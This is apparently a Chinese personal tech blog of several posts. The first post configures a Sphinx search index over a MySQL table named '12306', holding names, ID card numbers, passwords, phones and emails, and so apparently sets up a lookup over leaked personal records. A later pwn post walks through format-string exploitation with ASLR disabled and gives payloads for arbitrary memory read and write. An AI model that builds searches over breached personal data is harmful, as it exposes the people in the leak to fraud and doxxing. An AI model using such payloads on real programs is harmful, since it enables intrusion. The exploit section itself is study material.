Spinx环境搭建

前言

之前存了很多文本数据 - 具体是啥就不说了

很早之前就想对其内容进行检索了,自己写一个又觉得太麻烦,而且效率估计还低下。

百度搜了下又ELK和Spinx这2个方案,都测试了下,ELK太大了,感觉要花费好多时间去了解,Spinx暂时应该能满足我的需求了。

加上最近觉得自己挺久没写博客了,将这次搭建Spinx文本检索环境的过程记录下来。

环境搭建

1.从官网下载sphinx-3.1.1,我使用的是这个版本。

2.将etc目录下的sphinx-min.conf.dist配置文件复制到Bin下面,命名为sphinx.conf。

3.配置如下,该配置支持中文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
source src1
{
type = mysql

sql_host = localhost
sql_user = root
sql_pass = root
sql_db = sheg
sql_port = 3306 # optional, default is 3306
sql_query_pre = set charset utf8
sql_query = \
SELECT id, mail, name, idcard, passwd, phone, mail2 \
FROM `12306`
sql_attr_uint = group_id
sql_attr_timestamp = date_added
}


index sk12306
{
source = src1
path = F:\sk\sphinx-3.1.1\data\sk12306\
# 设置中文匹配
min_word_len = 1
# 指定字符集(已废弃)
charset_type = utf-8
# 指定utf-8的编码表
charset_table = 0..9, A..Z->a..z, _, a..z, U+410..U+42F->U+430..U+44F, U+430..U+44F
min_prefix_len = 0
min_infix_len = 3
# 开启中文分词支持
ngram_len = 1
# 需要分词的字符
ngram_chars = U+3000..U+2FA1F
}


index rt
{
type = rt
rt_mem_limit = 128M
path = F:\sk\sphinx-3.1.1\data\testrt\
rt_field = name
rt_field = idcard
rt_field = mail
rt_field = passwd
rt_field = mail_2
rt_field = phone
rt_attr_uint = gid
}


indexer
{
mem_limit = 128M
}


searchd
{
listen = 9312
listen = 9306:mysql41
log = F:\sk\sphinx-3.1.1\log\searchd.log
query_log = F:\sk\sphinx-3.1.1\log\query.log
read_timeout = 5
max_children = 30
pid_file = F:\sk\sphinx-3.1.1\log\searchd.pid
seamless_rotate = 1
preopen_indexes = 1
unlink_old = 1
workers = threads # for RT to work
binlog_path = F:\sk\sphinx-3.1.1\log
}

查询指定列 idcard: @idcard xxxxxxx
模糊查询 352225*
中文默认模糊查询

4.将某库代码放到PHP下运行就可以了。

那么问题了,先整理数据还是把某库修改成适合我的文本查询器呢。

C语言操作Mysql数据库

前言

前几天要用开发个工具,需要连接到数据库,然后增删查改,图形化界面,还有大量指针操作,所以只能用C比较合适,但是C语言连接Mysql没接触过,遍开始了C语言mysql尝试,之后过了几天(就是现在),又要重新配置下环境,虽然依稀记得怎么操作,但是感觉这种事情有必要记下来,不然时间久了还得再去百度搜索,麻烦的很。

环境安装

从mysql官网下载Mysql connector 6.1版本,为什么是6.1呢,因为我找了半天,8.0版本的装了好几遍,就是没有C语言的,只有C++版本的。

C语言版本下载地址

安装好后开始下一步,记得安装目录。

开始开发

C++ 头文件添加目录 C:\Program Files (x86)\MySQL\MySQL Connector C 6.1\include
C++ lib添加目录 C:\Program Files (x86)\MySQL\MySQL Connector C 6.1\lib

将 C:\Program Files (x86)\MySQL\MySQL Connector C 6.1\lib\libmysql.dll复制到程序的运行目录下。

若使用VS开发,则放到VS目录(直接调试运行时),编译的情况下放到应用程序目录即可。

代码部分

1
2
3
4
5
6
7
#include <mysql.h>

#define SERVER_ADDR "127.0.0.1"
#define SERVER_PORT 3306
#define SERVER_USER "root"
#define SERVER_PASS "root"
#define SERVER_TABLE "xxx"

Vue学习及自我反思

昨天说的要做一个文本搜索的功能, 用的Sphinx来进行索引, 后台应该是用PHP了, 毕竟有现成的代码,打算改一改, 前后端分离。

因此,突然想起了Vue这个框架, 但是呢, 以前只学过JQuery 和 Bootstrap (会点皮毛,也就能写出简单页面的水平)

看了官方VUE的文档, 导入JS直接使用还行, 简单方便, 紧接着去看了 element-ui, 这一看我就蒙了.

在我的观念里一直是 JQuery和 Bootstrap这个模式, 导入JS文件和CSS就可以了.

谁知道这玩意需要nodejs和npm, 这我都没接触过啊, 内心相当抗拒, 想着不就开发个简单的web显示页面吗, 还要去弄这些, 真麻烦.

试了半天, 直接从他给的cdn地址扣js和css都还是不行.

于是心里发狠, 别人都可以用, 为什么我不用呢, 然后就反思了, 就是我这种保留原有方式学习新东西的操作, 让我的技术原地踏步!!

因此开始百度,先了解nodejs是什么, 发现是一个JavaScript运行环境, 可以实现把JavaScript放到服务器上运行.

然后开始了解npm, 是nodejs的包管理系统.

下载了nodejs, 自带了npm(自动添加到了环境变量)

然后下面开始了Vue的学习之路, 其实也不是要学Vue, 就是用它来完成我要的效果就可以了.

记一次PHPstudy无法正常启动

C盘满了,把PHPStudy换到D盘,结果启动不了。。

由于我之前比较谨慎,一直用的非服务模式,也就是没有系统服务,那么唯一的可能就是配置文件写了绝对路径了。

打开 php下的php.ini 修改 extension_dir属性
打开 apache下的httpd.conf 修改 ServerRoot 和 DocumentRoot 属性
打开 mysql下的my.ini 修改 basedir 和 datadir

重新打开,搞定收工!。

关于C++网络通信开发的坑

1.协议设计

1.关键数据加密
2.防止数据重放
3.注意数据对齐

2.协议实现

1.服务端多线程同步问题。
2.客户端秘钥登录认证问题。
3.处理TCP粘包问题

Windows内核学习

消息机制

Window消息机制的解决方案是通过GUI线程来处理,消息队列在R0层。

Linux消息机制是通过进程来处理。

1.当线程刚创建的时候,都是普通线程:

Thread.ServiceTable->KeServiceDescriptorTable (系统服务表)

2.当线程第一次调用Win32k.sys(调用服务号>100)的时候,会调用:PsConvertToGuiThread。

主要做2件事情:

a.扩充内核栈,必须换成64KB大小的内核栈,因为普通内核栈只有12KB大小
b.创建一个_KTHREAD结构体(有一个成员指针指向结构体 _THREADINFO,_THREADINFO结构体有一个成员叫MessageQueue,即消息队列,只有GUI线程才有),普通线程_KTHREAD->Win32Thread = NULL;
c.Thread.ServiceTable->KeServiceDescriptorTableShadow
d.把需要的内存数据映射到本进程空间。

总结: 可以通过KTHREAD.Win32Thread来找到消息队列,只有GDI线程才有消息队列,一对一的关系。

窗口与线程

所有的窗口在0环都有一个 _WINDOWS_OBJECT 对象,该对象->PTHREADINFO 指向其GDI线程。

一个线程有N多窗口,一个窗口只能属于一个线程。

窗口句柄是全局对象,可以被多个进程使用。

消息队列

消息队列的结构

1.SentMessagesListHead // 接收SendMessage发来的消息。

2.PostedMessagesListHead // 接到PostMessage发来的消息

3.HardwareMessagesListHead // 接收鼠标、键盘的消息

一共有7种,自行百度补全、

GetMessage 函数(
LPMSG lpMsg
HWND hWnd
UNIT wMsgMin
UNIT wMsgMax
)

注: GetMessage 会自动处理 SentMessagesListHead 队列的消息并消灭

DispatchMessage 拿着句柄进0环通过窗口对象来进行分发。

TranslateMessage 主要负责处理键盘消息 WM_CHAR消息的转换等。

PWN入门之堆学习(一)

关于Linux堆的资料,我看了很久,看的云里雾里的,今天突然发现了一些点,重新梳理了一下,大概理解了。

写的是自己的理解,不一定对,后面理解加深的话会回来修改这些错误。

首先Linux堆的实现有很多种,glibc使用的是ptmalloc2,以其为中心进行学习。

堆空间的申请从系统层面有2个函数,一个是brk,一个是mmap

arena

无论是主线程还是新创建的线程,在第一次申请内存时,都会有独立的 arena,一般申请堆空间系统会分配132KB的空间。

其头部结构如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */

INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

typedef struct malloc_state *mstate;

其中各种bin是我最头疼的部分:

fastbin是先进后出,存放在fastbinsY数组

fastbinsY[0]~fastbinsY[9] 分别指向:16,24,32,40,48,56,64,72,80和88大小的chunk单向链表

bins里面存放着 Unsorted bin 、Small bin 、Large bin的双向链表,是先进先出结构

1
2
3
4
5
6
7
8
9
bins[0] 存放着 Unsorted bin 双向链表,用来存储未分类的回收chunk。

bins[1] - bins[62] 存放着 Small bin 双向链表,用来存储16, 24, ... , 504 bytes的chunk。

bins[63] - bins[126] 存放着 、Large bin 双向链表,用来存储 xxxxx。

这部分应该还没理解,等理解来修改,双向练兵应该有2位,类似 bins[0] 和 bins[1] 存放着 Unsorted bin 双向链表

后面理解透彻了再回来修正,总觉得这部分理解不到位,得多找些资料学习一下。

然后最重要的是Top chunk,开空间的用的 free空间的时候可能将空间放入bins,也可能合并空间。

今天主要是把链表这部分理解了,就是根据不同大小生成的链表,之前这部分一直没理解。

sqlalchemy 数据库操作

sqlAlchemy是python中最著名的ORM(Object Relationship Mapping)框架。

ORM 从开发角度说,就是采用面向对象的方式来直接操作数据库,方便的很,不用写那么多数据库查询语句。

这里记录一下增删查改命令。

安装方法:

1
2
python -m pip install sqlalchemy
python -m pip install pymysql

参考代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from sqlalchemy import Column,String,Integer,create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base

Base = declarative_base()

engine = create_engine('mysql+pymysql://root:root@localhost:3306/info')

DBSession = sessionmaker(bind=engine)


class User(Base):
__tablename__ = 'user'
id = Column(Integer, primary_key=True)
name = Column(String)
passwd = Column(String)

# 增加数据
try:
db = DBSession()
db.add(User(name="Hacker1",passwd="1234561"))# 增
db.commit()
db.close()
except :
pass

## 查询数据
try:
db = DBSession()
# 查所有
results = db.query(User).all()
for r in results:
print(r.name)
#条件过滤
result = db.query(User).filter_by(id = 4).first()
print(result.name)
# 条件大于
results = db.query(User).filter(User.id > 5).all()
for r in results:
print(r.name)
db.close()
except :
pass

## 修改数据
try:
db = DBSession()
result = db.query(User).filter_by(id = 7).first()
result.name = "what"
db.commit()
db.close()
except :
pass

## 删
try:
db = DBSession()
result = db.query(User).filter_by(id = 9).first()
db.delete()
db.commit()
db.close()
except Exception as e :
print(e)
pass

2019年4月25日13:44:24

最近发现自己学的知识很乱,而且写的笔记都仅限于自己阅读,作为自己查阅的资料,想做出一些改变,规划一下新的生活方式。

首先先确定自己要做哪些事情,然后对其进行规划,合理安排时间(不过得等毕业设计完全搞定才能开始自己的计划,原本的作息已被毕业设计打乱,每天写论文到2点真心痛苦)

现在确定下来要做的事情用4件:

  • 写文档
  • 学技术
  • 健身
  • 学厨艺

从写文档开始规划,从3个方面进行提高:

  • 掌握几款画图工具,将想表达的想法通过图片展示出来
  • 提高写作技巧,将文档要表达的主要框架搭建起来,再填充内容
  • 阅读更多技术材料,读的多才能写的多

学习技术也有很多可以提高效率的地方:

  • 学习新技术将案例同理解记录下来
  • 对一些项目进行实战,先查看是否有相关设计,理解其设计思想后做出自己的设计方案
  • 对设计的方案进行实现,给自己定个期限,不让自己的想法黄了
  • 主要针对PWN、逆向、系统底层、WEB相关、渗透相关进行学习

这里先预定一个目标,待毕业设计完成之后,写一个脚本代理池,通过某些免费的代理IP地址进行收集、整合、测试、筛选、评分、形成自己稳定的代理池。

健身方面严格要求自己,待毕业设计完成开始,每天4公里打底,外加做一套腹肌训练和做一些能将背部拉直的动作(挽救驼背)

厨艺方面要学会各种饼、面包的做法,同时把pizza做好(这个可能得转正之后住房确定下来才能开始)。

最后就是要genuine以上内容给出一张作息时间表,规定自己在什么时间做什么事,严格按照自己的计划来(这部分最难做到,但如果真的想做出改变,则非做不可)

Pwn相关知识学习

今天开始学习CTF各类逆向题型,Android通过JEB已经可以进行大部分基础的逆向,不难,所以有空再写,但是PWN这玩意玩起来就脑壳疼了,不记下来指不定过几天我就忘了。

格式化字符创漏洞学习

格式化字符创这东西由于参数个数的不确定性,因此可以构造恶意参数来读写内存。

输出函数

1
2
3
4
5
6
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

对于输出函数,即使是printf函数也可以被用来操作内存的读写,以下程序为例:

1
2
3
4
5
6
7
8
9
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}

注:进行编译需要冠以 aslr和关闭pie

1
2
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie main.c

通过输入%p%p%p%p%p%p%p%p%p%p%p%p 即可打印处堆栈内的信息,若需读任意地址,配合上%n$s即可,具体应用:
python -c ‘print(“\x00\x10\x40\x00%13$s”)’ 如此便可打印处 00401000的内存地址的值

重点:%13$s 这种格式需要大家自行查询了解,这里给出一个例子:

printf(“%2$s,%1$d”,123,”Hello”)

这个函数输出的结果为 Hello,123。 至于我上面给的%13$s 中的13,只是个例子,每个程序都不一样,上诉例子在调试过程中我在调试过程中获取到的是13。

可以对任意内存进行读取之后,需要对任意内存进行写操作,这里给一个关于printf写内存的例子:

1
2
3
4
5
6
7
#include<stdio.h>
void main() {
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);
}

输出结果为 :

1
2
hello
6

这里的%n代表的是将前面所包含的char数组长度写入到i变量中。

printf(“%0134512640d%n\n”, 1, &i);

以上代码 将 0x8048000 写入到i当中,实际利用情况 我们使用 %hhn % hn 来写入内存,hhn表示的是char类型地址。

python2 -c ‘print(“\x38\xd5\xff\xff”+”\x39\xd5\xff\xff”+”\x3a\xd5\xff\xff””\x3b\xd5\xff\xff”+”%104c%13$hhn”+”%222c%14$hhn”+”%
222c%15$hhn”+”%222c%16$hhn”)’ | ./a.out

因此就完成了对任意地址的写入。但是前面的字符创占用了大小,自行处理(二次覆盖或者把%13$n移动到前面去但是要注意内存对齐)。